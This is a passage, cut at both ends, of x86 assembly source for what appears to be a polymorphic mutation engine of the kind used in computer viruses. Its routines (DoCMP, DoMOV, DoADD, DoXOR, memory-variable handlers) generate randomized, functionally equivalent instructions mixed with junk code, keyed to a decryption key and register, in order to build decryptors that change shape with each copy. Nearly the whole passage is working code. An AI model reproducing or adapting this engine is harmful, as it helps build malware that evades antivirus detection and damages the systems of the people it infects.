SelectOnlyTwoRegs endp

;; This function constructs a comparision between a register and a value. The
;; comparision only can be used with JZ/JNZ. BufferRegister is used to make
;; a wider variety.
DoCMP           proc
                pushad
                mov     dl, byte ptr [ebp+BufferRegister] ; Get buffer reg.
                push    edx
                cmp     dl, 8      ; If there isn't any reserved, reserve one
                jnz   @@ThereIsOneSelected
                call    SelectARegister
                mov     byte ptr [ebp+BufferRegister], al
     @@ThereIsOneSelected:

     @@Repeat:  call    Random
                and     al, 7      ; Get a random value between 0 and 7
                jz    @@Repeat     ; If 0, repeat
                cmp     al, 2
                jbe   @@PUSHXXX    ; If 1-2, make PUSH/Comp/POP
               ; jb    @@PUSHSUB
               ; jz    @@PUSHXOR
                cmp     al, 3      ; If 3, do direct CMP
                jz    @@CMP
                push    eax        ; Save EAX
                mov     dh, [ebp+Index2Register]
                mov     dl, [ebp+BufferRegister]
                call    DoMOVRegReg  ; Move the value of Index2 (the register
                                     ; to compare) to BufferRegister
                call    DoRandomGarbage  ; Make a good amount of garbage
                call    DoRandomGarbage
                pop     ecx          ; Restore EAX in ECX
                mov     dl, [ebp+BufferRegister] ; DL=BufferRegister
                mov     eax, [ebp+InitialValue]  ; EAX=Initial value of Index2
                cmp     cl, 5
                jb    @@MOVSUB   ; CL=4, then do SUB BufferRegister,Value
                                 ;            or ADD BufferRegister,NEG(Value)
                jz    @@MOVCMP   ; CL=5, then do CMP BufferRegister,Value
     @@MOVXOR:  call    DoXOR    ; CL=6, then do XOR BufferRegister,Value
                jmp   @@End     ; Jump and finish
     @@MOVSUB:  call    DoSUB    ; Make that SUB/ADD
                jmp   @@End     ; Jump and finish
     @@MOVCMP:  or      dl, dl   ; If BufferRegister=EAX, then jump to store
                jz    @@CMP_EAX  ; its own opcode
                push    eax
                mov     ax, 0F881h  ; Opcode of CMP Reg,Value
                or      ah, dl      ; Set the register to the opcode
                stosw            ; Store the opcode
                jmp   @@J01      ; Jump to store the value

     @@CMP_EAX: push    eax
                mov     al, 3Dh  ; AL=Opcode of CMP EAX,Value
                stosb            ; Store it
         @@J01: pop     eax
                stosd            ; Store the value to compare
                jmp   @@End      ; Return

     @@CMP:     call    RandomFlags
                jz    @@Direct_CMPRegReg
                mov     dl, [ebp+Index2Register] ; Get the Index2 register
                mov     eax, [ebp+InitialValue]  ; EAX=Value to compare
                jmp   @@MOVCMP      ; Jump here to do a direct CMP
     @@Direct_CMPRegReg:
                call    DoRandomGarbage
                mov     dl, [ebp+BufferRegister]
                mov     eax, [ebp+InitialValue]
                call    DoMOV
                call    DoRandomGarbage
                mov     dh, [ebp+Index2Register]
                call    RandomFlags
                jz    @@D_CMPRR03
                js    @@D_CMPRRXOR
       @@D_CMPRRSUB:
                mov     ax, 0C029h
                jmp   @@D_CMPRR02
       @@D_CMPRRXOR:
                mov     ax, 0C031h
       @@D_CMPRR02:
                call    RandomFlags
                jz    @@D_CMPRR01
                xchg    dh, dl
                add     al, 2
       @@D_CMPRR01:
                jmp   @@D_CMPRR04
       @@D_CMPRR03:
                mov     ax, 0C039h
                call    RandomFlags
                jz    @@D_CMPRR05
                xchg    dh, dl
       @@D_CMPRR05:
                js    @@D_CMPRR04
                add     al, 2
       @@D_CMPRR04:
                or      ah, dl
                shl     dh, 3
                or      ah, dh
                stosw
                jmp   @@End

   ;; Here we make PUSH Index2Register / XOR/SUB(ADD) Index2Register,(-)Value /
   ;;              / POP Index2Register
     @@PUSHXXX: mov     dl, [ebp+Index2Register]
                mov     al, 50h   ; Make a PUSH Index2Register
                add     al, dl
                stosb             ; Store that opcode
                call    DoRandomGarbage  ; Make garbage
                mov     eax, [ebp+InitialValue] ; (get the value to compare)
                call    RandomFlags ; XOR or SUB/ADD?
                jz    @@PUSHSUB   ; Do SUB
     @@PUSHXOR: js    @@PUSHXOR_D
                mov     dh, dl
                mov     dl, [ebp+BufferRegister]
                call    DoMOV
                call    DoRandomGarbage
                call    RandomFlags
                jz    @@PUSHXOR_R
                xchg    dh, dl
   @@PUSHXOR_R: call    DoXORRegReg
                jmp   @@PUSH_01
   @@PUSHXOR_D: call    DoXOR     ; Do a XOR with that value
                jmp   @@PUSH_01   ; Jump to POP the register
     @@PUSHSUB: js    @@PUSHSUB_D
                mov     dh, dl
                mov     dl, [ebp+BufferRegister]
                call    DoMOV
                call    DoRandomGarbage
                call    RandomFlags
                jz    @@PUSHSUB_R
                xchg    dh, dl
   @@PUSHSUB_R: call    DoSUBRegReg
                jmp   @@PUSH_01
   @@PUSHSUB_D: call    DoSUB     ; Make a SUB Reg,Value or ADD Reg,NEG(Value)
     @@PUSH_01: ;we don't make garbage here, since I have to mantain the flags
                ;of the comparision
                mov     al, 58h  ; Make the POP Index2Register
                add     al, [ebp+Index2Register]
                stosb            ; Store the opcode
            ;    jmp   @@End

       @@End:   pop     edx     ; Restore BufferRegister (if it was selected)
                mov     byte ptr [ebp+BufferRegister], dl
                mov     [esp+S_EDI], edi  ; Conserve EDI when POPAD
                popad
                ret     ; Return
DoCMP           endp

;; This very used function performs a move operation with the register in
;; DL and the value in EAX. It can do a MOV Reg,Value, a LEA Reg,[Value] or
;; a PUSH Value/Garbage/POP Reg. Sometimes it doesn't give the correct value
;; just at the beginning, so the function adjusts the value with a sucession
;; of XORs, ADDs or SUBs to get the correct value.
DoMOV           proc
                pushad               ; Save registers
                inc     byte ptr [ebp+MOVingRecursLevel]
                cmp     byte ptr [ebp+MOVingRecursLevel], 5
                jae   @@NoRecursives
       @@RepeatRandom:
                push    eax
                call    Random
                mov     ebx, eax
                pop     eax
                and     bl, 7
                jz    @@MOVDirect
                cmp     bl, 2
                jb    @@LEA
                jz    @@LEA2
                cmp     bl, 4
                jb    @@PUSHPOP
                jz    @@MOVMEM
                cmp     bl, 5
                ja    @@RepeatRandom

     @@Adjust:  mov     ebx, eax
                call    Random
                and     al, 3
                jz    @@NoRecursives2
                mov     [ebp+@@AdjustTimes], al
                call    Random
                mov     ecx, eax
                push    dword ptr [ebp+@@AdjustTimes]
                call    DoMOV
                pop     dword ptr [ebp+@@AdjustTimes]
   @@Adj_Loop01:
                push    dword ptr [ebp+@@AdjustTimes]
                call    Random
   @@Adj_OtherFlags:
                call    RandomFlags
                jz    @@Adj_01
                js    @@Adj_XOR
   @@Adj_ADD:   push    eax
                call    Random
                and     eax, 0Fh
                pop     eax
                jnz   @@Adj_ADD01
                cmp     byte ptr [ebp+KeyIsInit], 1
                jnz   @@Adj_ADD01
                add     ecx, [ebp+DecryptKey]
                mov     dh, [ebp+KeyRegister]
                call    DoADDRegReg
                jmp   @@Adj_Next01
   @@Adj_ADD01: add     ecx, eax
                call    DoADD
                jmp   @@Adj_Next01
   @@Adj_XOR:   push    eax
                call    Random
                and     eax, 0Fh
                pop     eax
                jnz   @@Adj_XOR01
                cmp     byte ptr [ebp+KeyIsInit], 1
                jnz   @@Adj_XOR01
                xor     ecx, [ebp+DecryptKey]
                mov     dh, [ebp+KeyRegister]
                call    DoXORRegReg
                jmp   @@Adj_Next01
   @@Adj_XOR01: xor     ecx, eax
                call    DoXOR
                jmp   @@Adj_Next01
   @@Adj_01:    js    @@Adj_OtherFlags
   @@Adj_SUB:   push    eax
                call    Random
                and     eax, 0Fh
                pop     eax
                jnz   @@Adj_SUB01
                cmp     byte ptr [ebp+KeyIsInit], 1
                jnz   @@Adj_SUB01
                sub     ecx, [ebp+DecryptKey]
                mov     dh, [ebp+KeyRegister]
                call    DoSUBRegReg
                jmp   @@Adj_Next01
   @@Adj_SUB01: sub     ecx, eax
                call    DoSUB

       @@Adj_Next01:
                call    DoRandomGarbage
                pop     dword ptr [ebp+@@AdjustTimes]
                dec     byte ptr [ebp+@@AdjustTimes]
                jnz   @@Adj_Loop01

       ;; ECX=Current value, EBX=Desired value
       @@Adj_Other:
                call    Random
                and     al, 3
                jz    @@Adj_Other
                cmp     al, 2
                jb    @@Adj_FinalADD
                jz    @@Adj_FinalXOR
    @@Adj_FinalSUB:
                sub     ecx, ebx
                mov     eax, ecx
                call    DoSUB
                jmp   @@End
    @@Adj_FinalADD:
                sub     ebx, ecx
                mov     eax, ebx
                call    DoADD
                jmp   @@End
    @@Adj_FinalXOR:
                xor     ebx, ecx
                mov     eax, ebx
                call    DoXOR
                jmp   @@End

     @@AdjustTimes      db      0
                db      3 dup (0) ; Padding

     @@MOVDirect:
                xchg    ebx, eax
                mov     al, 0B8h
                add     al, dl
                stosb
                xchg    eax, ebx
                stosd
                jmp   @@End
     @@LEA:     xchg    ebx, eax
                mov     ax, 058Dh
                shl     dl, 3
                or      ah, dl
                shr     dl, 3
                stosw
                xchg    ebx, eax
                stosd
                jmp   @@End
     @@LEA2:    cmp     byte ptr [ebp+KeyIsInit], 1
                jnz   @@LEA
                xchg    ebx, eax
                mov     ax, 008Dh
                shl     dl, 3
                or      ah, dl
                shr     dl, 3
                or      ah, [ebp+KeyRegister]
                sub     ebx, [ebp+DecryptKey]
                cmp     ebx, 7Fh
                jbe   @@LEA2_b
                cmp     ebx, 0FFFFFF80h
                jbe   @@LEA2_d
         @@LEA2_b:
                or      ah, 40h
                stosw
                xchg    ebx, eax
                stosb
                jmp   @@End
         @@LEA2_d:
                or      ah, 80h
                stosw
                xchg    ebx, eax
                stosd
                jmp   @@End

    @@PUSHPOP:  call    DoPUSHValue
                call    DoRandomGarbage
                call    DoPOPReg
                jmp   @@End

    @@MOVMEM:   call    GetAndReserveVar
                or      ebx, ebx
                jz    @@NoRecursives
                call    DoMOVMemValue
                call    DoRandomGarbage
                call    DoMOVRegMem
                call    ReleaseVar
                jmp   @@End

      @@NoRecursives2:
                mov     eax, ebx
      @@NoRecursives:
                push    eax
                call    Random
                mov     ebx, eax
                pop     eax
                and     bl, 3
                jz    @@NoRecursives
                cmp     bl, 2
                jb    @@MOVDirect
                jz    @@LEA
                jmp   @@LEA2

         @@End: dec     byte ptr [ebp+MOVingRecursLevel]
                and     edx, 0FFh  ; Mark this register as "touched" (since we
                mov     byte ptr [ebp+edx+TouchedRegisters], 1 ; moved a value
                                                               ; to it)
                mov     [esp+S_EDI], edi  ; Don't restore EDI when we do POPAD
                popad
                ret        ; Return
DoMOV           endp

DoPUSHValue     proc
                pushad
                inc     byte ptr [ebp+MOVingRecursLevel]
                cmp     byte ptr [ebp+MOVingRecursLevel], 5
                jae   @@DirectPUSH
                call    RandomFlags
                jz    @@DirectPUSH
     @@Other:   call    GetAndReserveVar
                or      ebx, ebx
                jz    @@DirectPUSH
                call    DoMOVMemValue
                call    DoRandomGarbage
                call    DoPUSHMem
                call    ReleaseVar
                jmp   @@End

     @@DirectPUSH:
                push    eax
                cmp     eax, 7Fh
                jbe   @@PUSHByte
                cmp     eax, 0FFFFFF80h
                jae   @@PUSHByte
                mov     al, 68h
                stosb
                pop     eax
                stosd
                jmp   @@End
       @@PUSHByte:
                mov     al, 6Ah
                stosb
                pop     eax
                stosb

       @@End:   dec     byte ptr [ebp+MOVingRecursLevel]
                mov     [esp+S_EDI], edi
                popad
                ret
DoPUSHValue     endp

;; This function performs an addition of the value in EAX to the register in
;; DL. The addition can be done with:
;; ADD Reg,Value
;; LEA Reg,[Reg+Value]
;; SUB Reg,NEG(Value)
DoADD           proc
                pushad
                inc     byte ptr [ebp+MOVingRecursLevel]
                cmp     byte ptr [ebp+MOVingRecursLevel], 5
                jae   @@NoRecursives

                cmp     eax, 1
                jz    @@SelectINC
                cmp     eax, -1
                jz    @@SelectDEC
        @@Others:
                cmp     byte ptr [ebp+FlagNoLEA], 1
                jz    @@NoLEAs

        @@OtherRandom:
                push    eax
                call    Random
                mov     ebx, eax
                pop     eax
                and     bl, 7
                jz    @@ADDDirect
                cmp     bl, 2
                jb    @@SUBDirect
                jz    @@LEA
                cmp     bl, 4
                jb    @@LEA2
                jz    @@MOVMEM
                cmp     bl, 5
                ja    @@OtherRandom
     @@MOVMEM2: call    GetAndReserveVar
                or      ebx, ebx
                jz    @@NoRecursives
                call    DoMOVMemValue
                call    DoRandomGarbage
                call    DoADDRegMem
                call    ReleaseVar
                jmp   @@End
     @@MOVMEM:  call    GetAndReserveVar
                or      ebx, ebx
                jz    @@NoRecursives
                neg     eax
                call    DoMOVMemValue
                call    DoRandomGarbage
                call    DoSUBRegMem
                call    ReleaseVar
                jmp   @@End

     @@ADDDirect:
                mov     ebx, eax
                or      dl, dl
                jz    @@ADDDirectEAX
                cmp     ebx, 7Fh
                jbe   @@ADDDirectByte
                cmp     ebx, 0FFFFFF80h
                jae   @@ADDDirectByte
                mov     ax, 0C081h
       @@CommonWithADD1:
                or      ah, dl
                stosw
                xchg    ebx, eax
                stosd
                jmp   @@End
       @@ADDDirectByte:
                mov     ax, 0C083h
       @@CommonWithADD2:
                or      ah, dl
                stosw
                xchg    ebx, eax
                stosb
                jmp   @@End
      @@ADDDirectEAX:
                mov     al, 05h
                stosb
                xchg    ebx, eax
                stosd
                jmp   @@End

      @@SUBDirect:
                neg     eax
                mov     ebx, eax
                or      dl, dl
                jz    @@SUBDirectEAX
                cmp     ebx, 7Fh
                jbe   @@SUBDirectByte
                cmp     ebx, 0FFFFFF80h
                jae   @@SUBDirectByte
                mov     ax, 0E881h
                jmp   @@CommonWithADD1
        @@SUBDirectByte:
                mov     ax, 0E883h
                jmp   @@CommonWithADD2
        @@SUBDirectEAX:
                mov     al, 2Dh
                stosb
                xchg    ebx, eax
                stosd
                jmp   @@End

      @@LEA:    mov     ebx, eax
                mov     ax, 008Dh
                or      ah, dl
                shl     dl, 3
                or      ah, dl
                cmp     ebx, 7Fh
                jbe   @@LEA_sb
                cmp     ebx, 0FFFFFF80h
                jae   @@LEA_sb
                or      ah, 80h
                stosw
                xchg    ebx, eax
                stosd
                jmp   @@End
      @@LEA_sb: or      ah, 40h
                stosw
     @@LEA_sb2: xchg    ebx, eax
                stosb
                jmp   @@End

      @@LEA2:   cmp     byte ptr [ebp+KeyIsInit], 1
                jnz   @@LEA
                sub     eax, [ebp+DecryptKey]
                mov     ebx, eax
                cmp     ebx, 7Fh
                jbe   @@LEA2b
                cmp     ebx, 0FFFFFF80h
                jae   @@LEA2b
                mov     ax, 848Dh
      @@LEA2_Common:
                shl     dl, 3
                or      ah, dl
                shr     dl, 3
                stosw
                mov     dh, [ebp+KeyRegister]
                call    RandomFlags
                jz    @@LEA2_X
                xchg    dh, dl
      @@LEA2_X: shl     dh, 3
                mov     al, dh
                or      al, dl
                stosb
                cmp     ebx, 7Fh
                jbe   @@LEA_sb2
                cmp     ebx, 0FFFFFF80h
                jae   @@LEA_sb2
                xchg    ebx, eax
                stosd
                jmp   @@End

      @@LEA2b:  mov     ax, 448Dh
                jmp   @@LEA2_Common

      @@SelectINC2:
                call    RandomFlags
                jz    @@INC01
                js    @@NextNoRecurs
                jmp   @@INC01
      @@SelectINC:
                call    RandomFlags
                jz    @@INC01
                js    @@Others
       @@INC01: mov     al, 40h
                jmp   @@CommonWithDEC

      @@NoLEAs: push    eax
                call    Random
                mov     ebx, eax
                pop     eax
                and     bl, 3
                jz    @@ADDDirect
                cmp     bl, 2
                jb    @@SUBDirect
                jz    @@MOVMEM
                jmp   @@MOVMEM2
                
      @@NoRecursives:
                cmp     eax, 1
                jz    @@SelectINC2
                cmp     eax, -1
                jz    @@SelectDEC2
      @@NextNoRecurs:
                cmp     byte ptr [ebp+FlagNoLEA], 1
                jnz   @@NoRecursives2
                call    RandomFlags
                jz    @@ADDDirect
                jmp   @@SUBDirect

      @@NoRecursives2:
                call    RandomFlags
                jz    @@0_
                js    @@ADDDirect
                jmp   @@SUBDirect
         @@0_:  js    @@LEA
                jmp   @@LEA2
                
      @@SelectDEC2:
                call    RandomFlags
                jz    @@DEC01
                js    @@NextNoRecurs
                jmp   @@DEC01

      @@SelectDEC:
                call    RandomFlags
                jz    @@DEC01
                js    @@Others
      @@DEC01:  mov     al, 48h
      @@CommonWithDEC:
                or      al, dl
                stosb

        @@End:  dec     byte ptr [ebp+MOVingRecursLevel]
                mov     [esp+S_EDI], edi ; Conserve EDI
                popad
                ret              ; Return
DoADD           endp

;; Flag that we use when making comparisions, since LEA doesn't modify flags
FlagNoLEA       db      0

;; This function makes a subtraction of the value in EAX to the register in
;; DL. Since this function is only called when we make comparisions, we have
;; to assure that LEA isn't used, so I put a flag to avoid LEAs. This function
;; then negates the value and calls to DoADD, but avoiding LEAs.
DoSUB           proc
                push    eax
                neg     eax                          ; Negate value
                mov     byte ptr [ebp+FlagNoLEA], 1  ; Don't allow LEA
                call    DoADD                        ; Call to DoADD
                mov     byte ptr [ebp+FlagNoLEA], 0  ; Allow LEA again
                pop     eax
                ret                         ; Return
DoSUB           endp

;; This function only makes a XOR Reg,Value. There isn't any work-around to
;; make XORs (well, you can use the fact that a XOR is
;; [(X AND Y) OR (NEG(X) AND NEG(Y)], which it's a bitch to code :).
DoXOR           proc
                pushad
                inc     byte ptr [ebp+MOVingRecursLevel]
                cmp     byte ptr [ebp+MOVingRecursLevel], 5
                jae   @@DirectXOR

                call    GetAndReserveVar
                or      ebx, ebx
                jz    @@DirectXOR
                call    DoMOVMemValue
                call    DoRandomGarbage
                call    DoXORRegMem
                call    ReleaseVar
                jmp   @@End

       @@DirectXOR:
                push    eax
                or      dl, dl   ; Do we use EAX?
                jz    @@EAX      ; Then use the EAX opcode
                mov     ax, 0F081h ; Opcode of XOR Reg,Value
                or      ah, dl     ; Bind the register to the opcode
                stosw              ; Store the opcode
                jmp   @@J01        ; Jump to continue
        @@EAX:  mov     al, 35h  ; Opcode of XOR EAX,Value
                stosb            ; Store it
        @@J01:  pop     eax      ; Get the value to XOR from stack
                stosd            ; Complete the instruction

       @@End:   dec     byte ptr [ebp+MOVingRecursLevel]
                mov     [esp+S_EDI], edi ; Conserve EDI
                popad
                ret              ; Return
DoXOR           endp

;; EBX=Memory address, EAX=Value
DoMOVMemValue   proc
                pushad
                inc     byte ptr [ebp+MOVingRecursLevel]
                cmp     byte ptr [ebp+MOVingRecursLevel], 5
                jae   @@NoRecursives
                push    eax
                call    Random
                mov     ecx, eax
                pop     eax
                and     cl, 3
                jz    @@MOVDirect
                cmp     cl, 2
                jb    @@MOVDirect2
                jz    @@PUSHPOP

        @@AdjustMem:
                mov     ecx, eax        ; ECX=Destiny (=EAX)
                call    Random
                and     al, 3
                jz    @@NoRecursives2
                mov     byte ptr [ebp+@@AdjustTimes], al
                call    Random
                mov     edx, eax        ; EDX=Initial value
                push    dword ptr [ebp+@@AdjustTimes]
                call    DoMOVMemValue   ; Move this to [EBX]
                pop     dword ptr [ebp+@@AdjustTimes]
       @@Adj_Loop01:
                push    dword ptr [ebp+@@AdjustTimes]
                call    Random
                mov     esi, eax        ; ESI=Number that modifies
       @@Adj_Loop02:
                call    Random
                and     al, 3
                jz    @@Adj_Loop02
                cmp     al, 2
                jb    @@Adj_ADD
                jz    @@Adj_XOR
     @@Adj_SUB: cmp     byte ptr [ebp+KeyIsInit], 1
                jnz   @@Adj_SUB01
                call    Random
                and     al, 0Fh
                jnz   @@Adj_SUB01
                sub     edx, [ebp+DecryptKey]
                push    edx
                mov     dl, [ebp+KeyRegister]
                call    DoSUBMemReg
                pop     edx
                jmp   @@Adj_Next01
   @@Adj_SUB01: sub     edx, esi       ; Initial=Initial-Random
                mov     eax, esi
                call    DoSUBMemValue  ; Do SUB [<EBX>],<ESI>
                jmp   @@Adj_Next01

     @@Adj_ADD: cmp     byte ptr [ebp+KeyIsInit], 1
                jnz   @@Adj_ADD01
                call    Random
                and     al, 0Fh
                jnz   @@Adj_ADD01
                add     edx, [ebp+DecryptKey]
                push    edx
                mov     dl, [ebp+KeyRegister]
                call    DoADDMemReg
                pop     edx
                jmp   @@Adj_Next01
   @@Adj_ADD01: add     edx, esi       ; Initial=Initial+Random
                mov     eax, esi
                call    DoADDMemValue  ; Do ADD [<EBX>],<ESI>
                jmp   @@Adj_Next01

     @@Adj_XOR: cmp     byte ptr [ebp+KeyIsInit], 1
                jnz   @@Adj_XOR01
                call    Random
                and     al, 0Fh
                jnz   @@Adj_XOR01
                xor     edx, [ebp+DecryptKey]
                push    edx
                mov     dl, [ebp+KeyRegister]
                call    DoXORMemReg
                pop     edx
                jmp   @@Adj_Next01
   @@Adj_XOR01: xor     edx, esi
                mov     eax, esi
                call    DoXORMemValue

         @@Adj_Next01:
                call    DoRandomGarbage
                pop     dword ptr [ebp+@@AdjustTimes]
                dec     byte ptr [ebp+@@AdjustTimes]
                jnz   @@Adj_Loop01

         @@Adj_Loop03:
                call    Random
                and     al, 3
                jz    @@Adj_Loop03
                cmp     al, 2
                jb    @@Adj_FinalADD
                jz    @@Adj_FinalSUB
       @@Adj_FinalXOR:
                xor     ecx, edx        ; EDX=Current value XOR final value
                mov     eax, ecx
                call    DoXORMemValue
                jmp   @@End
       @@Adj_FinalADD:
                sub     ecx, edx
                mov     eax, ecx
                call    DoADDMemValue
                jmp   @@End
       @@Adj_FinalSUB:
                sub     edx, ecx
                mov     eax, edx
                call    DoSUBMemValue
                jmp   @@End

     @@AdjustTimes      db      0
                db      3 dup (0) ; Padding

    @@PUSHPOP:  call    DoPUSHValue
                call    DoRandomGarbage
                call    DoPOPMem
                jmp   @@End

   @@MOVDirect: push    eax
                mov     ax, 05C7h
                stosw
                pop     eax
                xchg    ebx, eax
                stosd         ; First <EBX>
                xchg    ebx, eax
                stosd
                jmp   @@End

  @@MOVDirect2: cmp     byte ptr [ebp+KeyIsInit], 1
                jnz   @@MOVDirect
                push    eax
                mov     ax, 00C7h
                or      ah, [ebp+KeyRegister]
                sub     ebx, [ebp+DecryptKey]
                cmp     ebx, 7Fh
                jbe   @@Byte
                cmp     ebx, 0FFFFFF80h
                jae   @@Byte
                or      ah, 80h
                stosw
                pop     eax
                xchg    ebx, eax
                stosd
                xchg    ebx, eax
                stosd
                jmp   @@End
        @@Byte: or      ah, 40h
                stosw
                pop     eax
                xchg    ebx, eax
                stosb
                xchg    ebx, eax
                stosd
                jmp   @@End
                
    @@NoRecursives2:
                mov     eax, ecx
    @@NoRecursives:
                call    RandomFlags
                jz    @@MOVDirect
                jmp   @@MOVDirect2

     @@End:     dec     byte ptr [ebp+MOVingRecursLevel]
                mov     [esp+S_EDI], edi
                popad
                ret
DoMOVMemValue   endp

DoADDMemReg     proc
                mov     byte ptr [ebp+OpcodeToUseInXXXFunc], 01
                jmp     DoXXXWithMemAndReg
DoADDMemReg     endp

;; Attention: This routine shouldn't be called directly!
DoXXXWithMemAndReg proc
                pushad
                call    RandomFlags
                jz    @@Direct

                cmp     byte ptr [ebp+KeyIsInit], 1
                jnz   @@Direct
                sub     ebx, [ebp+DecryptKey]
                xor     ah, ah
                mov     al, [ebp+OpcodeToUseInXXXFunc]
                shl     dl, 3
                or      ah, dl
                or      ah, [ebp+KeyRegister]
                cmp     ebx, 7Fh
                jbe   @@Byte
                cmp     ebx, 0FFFFFF80h
                jae   @@Byte
                or      ah, 80h
                stosw
                mov     eax, ebx
                stosd
                jmp   @@End
      @@Byte:   or      ah, 40h
                stosw
                mov     eax, ebx
                stosb
                jmp   @@End

    @@Direct:   mov     ah, 05h
                mov     al, [ebp+OpcodeToUseInXXXFunc]
                shl     dl, 3
                or      ah, dl
                stosw
                mov     eax, ebx
                stosd

      @@End:    mov     [esp+S_EDI], edi
                popad
                ret
DoXXXWithMemAndReg endp

DoADDRegMem     proc
                mov     byte ptr [ebp+OpcodeToUseInXXXFunc], 03
                jmp     DoXXXWithMemAndReg
DoADDRegMem     endp

DoSUBRegMem     proc
                mov     byte ptr [ebp+OpcodeToUseInXXXFunc], 2Bh
                jmp     DoXXXWithMemAndReg
DoSUBRegMem     endp

DoSUBMemReg     proc
                mov     byte ptr [ebp+OpcodeToUseInXXXFunc], 29h
                jmp     DoXXXWithMemAndReg
DoSUBMemReg     endp

DoXORRegMem     proc
                mov     byte ptr [ebp+OpcodeToUseInXXXFunc], 33h
                jmp     DoXXXWithMemAndReg
DoXORRegMem     endp

DoXORMemReg     proc
                mov     byte ptr [ebp+OpcodeToUseInXXXFunc], 31h
                jmp     DoXXXWithMemAndReg
DoXORMemReg     endp

OpcodeToUseInXXXFunc    db      0

DoADDMemValue   proc
                pushad
                push    eax
                call    Random
                mov     ecx, eax
                pop     eax
                and     cl, 3
                jz    @@ADD
                cmp     cl, 2
                jb    @@ADD2
                jz    @@SUB
     @@SUB2:    cmp     byte ptr [ebp+KeyIsInit], 1
                jnz   @@SUB
                neg     eax
                push    eax
                mov     ax, 2881h
     DoXXXMemValue_Common2:
                or      ah, [ebp+KeyRegister]
                sub     ebx, [ebp+DecryptKey]
                cmp     ebx, 7Fh
                jbe   @@SUB2b
                cmp     ebx, 0FFFFFF80h
                jae   @@SUB2b
                or      ah, 80h
     DoXXXMemValue_Common:
                pop     ecx
                stosw
                xchg    ebx, eax
                stosd
                xchg    ecx, eax
                stosd
                jmp   @@End
       @@SUB2b: or      ah, 40h
                pop     ecx
                stosw
                xchg    ebx, eax
                stosb
                xchg    ecx, eax
                stosd
                jmp   @@End
       @@SUB:   neg     eax
                push    eax
                mov     ax, 2D81h
                jmp     DoXXXMemValue_Common
       @@ADD:   push    eax
                mov     ax, 0581h
                jmp     DoXXXMemValue_Common
       @@ADD2:  cmp     byte ptr [ebp+KeyIsInit], 1
                jnz   @@ADD
                push    eax
                mov     ax, 0081h
                jmp     DoXXXMemValue_Common2

       @@End:   mov     [esp+S_EDI], edi
                popad
                ret
DoADDMemValue   endp

DoSUBMemValue   proc
                push    eax
                neg     eax
                call    DoADDMemValue
                pop     eax
                ret
DoSUBMemValue   endp

DoXORMemValue   proc
                pushad
                call    RandomFlags
                jz    @@XOR
        @@XOR2: cmp     byte ptr [ebp+KeyIsInit], 1
                jnz   @@XOR
                push    eax
                mov     ax, 3081h
                jmp     DoXXXMemValue_Common2
        @@XOR:  push    eax
                mov     ax, 3581h
                jmp     DoXXXMemValue_Common
DoXORMemValue   endp

;; This function makes code to move the value of one register to another. This
;; task can be made with:
;; - MOV Reg1,Reg2
;; - LEA Reg1,[Reg2]
;; - PUSH Reg2/Garbage/POP Reg1
;; When calling: DL=Destiny register, DH=Source register
DoMOVRegReg     proc
                pushad
                inc     byte ptr [ebp+MOVingRecursLevel]
                cmp     byte ptr [ebp+MOVingRecursLevel], 5
                jae   @@NoRecursives

                call    Random
                and     al, 3
                jz    @@PUSHPOP
                cmp     al, 2
                jb    @@LEA
                jz    @@MOV
   @@MOVMEM:    call    GetAndReserveVar
                or      ebx, ebx
                jz    @@NoRecursives
                xchg    dh, dl
                call    DoMOVMemReg
                call    DoRandomGarbage
                xchg    dh, dl
                call    DoMOVRegMem
                call    ReleaseVar
                jmp   @@End
   @@PUSHPOP:   xchg    dh, dl
                call    DoPUSHReg
                call    DoRandomGarbage
                xchg    dh, dl
                call    DoPOPReg
                jmp   @@End
   @@LEA:       
    ;; Here we make: LEA Reg1,[Reg2]
    ;; The opcode of instruction LEA is as follows:
    ;; LEA = 8Dh+ 00(IndexAdding).000(Destiny).000(SourceInBrackets - Not 5)
    ;;  To put EBP in SourceInBrackets, IndexAdding must be 1 or 2.
                shl     dl, 3   ; Prepare the destiny register to set it to
                                ; the opcode
                cmp     dh, 5   ; Is the source register EBP?
                jz    @@LEA_EBP   ; If it is, jump
                mov     ax, 008Dh ; AX=Clean opcode of LEA
                or      ah, dl    ; Set the destiny register
                or      ah, dh    ; Set the register in brackets
                stosw             ; Store the opcode
                jmp   @@End       ; Jump to return
     @@LEA_EBP: mov     ax, 458Dh ; Opcode of LEA Reg,[EBP+something]
                or      ah, dl    ; Set the destiny register
                stosw             ; Store the opcode
                xor     al, al
                stosb             ; Store a 0 addition
                jmp   @@End       ; Jump to return

         ;; Make a MOV Reg1,Reg2
       @@MOV:   mov     ax, 0C089h ; Opcode of MOV Reg,Reg
                call    RandomFlags
                js    @@MOV_2      ; Random jump (to avoid alternative opcode)
                add     al, 2      ; Make 8B C0 as instruction, so...
                xchg    dh, dl     ; ...we have to exchange source and destiny
       @@MOV_2: shl     dh, 3      ; Set the registers to the opcode
                or      ah, dh
                or      ah, dl
                stosw              ; Store the opcode
                jmp   @@End        ; Jump to return

   @@NoRecursives:
                call    RandomFlags
                jz    @@LEA
                jmp   @@MOV

        EndRecursiveMOVing:
        @@End:  dec     byte ptr [ebp+MOVingRecursLevel]
                mov     [esp+S_EDI], edi ; Conserve EDI
                popad
                ret              ; Return
DoMOVRegReg     endp

MOVingRecursLevel       db      0

;; Returns: EBX=Address to use
;;          The returned address is reserved for prevent its using.
;;          If there are no more free memory variables, then EBX=0
GetAndReserveVar proc
                push    eax
                push    ecx
                movzx   ecx, byte ptr [ebp+GarbageRecursivity]
                lea     ecx, [ebp+8*ecx]
                call    Random
                and     eax, 7
                mov     ebx, eax
     @@Loop01:  cmp     byte ptr [ecx+eax+ReservedMemVars_F], 0
                jz    @@Found
                inc     eax
     @@Loop02:  cmp     eax, ebx
                jz    @@ReturnError
                cmp     eax, 8
                jb    @@Loop01
                xor     eax, eax
                jmp   @@Loop02
     @@Found:   mov     byte ptr [ecx+eax+ReservedMemVars_F], 1
                sub     ecx, ebp
                lea     ecx, [ebp+4*ecx]
                mov     ebx, [ecx+4*eax+ReservedMemVars_Addr]
                pop     ecx
                pop     eax
                ret
    @@ReturnError:
                xor     ebx, ebx
                pop     ecx
                pop     eax
                ret
GetAndReserveVar endp

;; In: EBX=Reserved memory address to "unlock"
;; Returns: Nothing (even if there's an error)
ReleaseVar      proc
                push    ecx
                push    edx
                movzx   edx, byte ptr [ebp+GarbageRecursivity]
                shl     edx, 5
                lea     edx, [ebp+edx]
                mov     ecx, 8
     @@Loop01:  cmp     dword ptr [edx+4*ecx+ReservedMemVars_Addr-4], ebx
                jz    @@Found
                loop  @@Loop01
                pop     edx
                pop     ecx
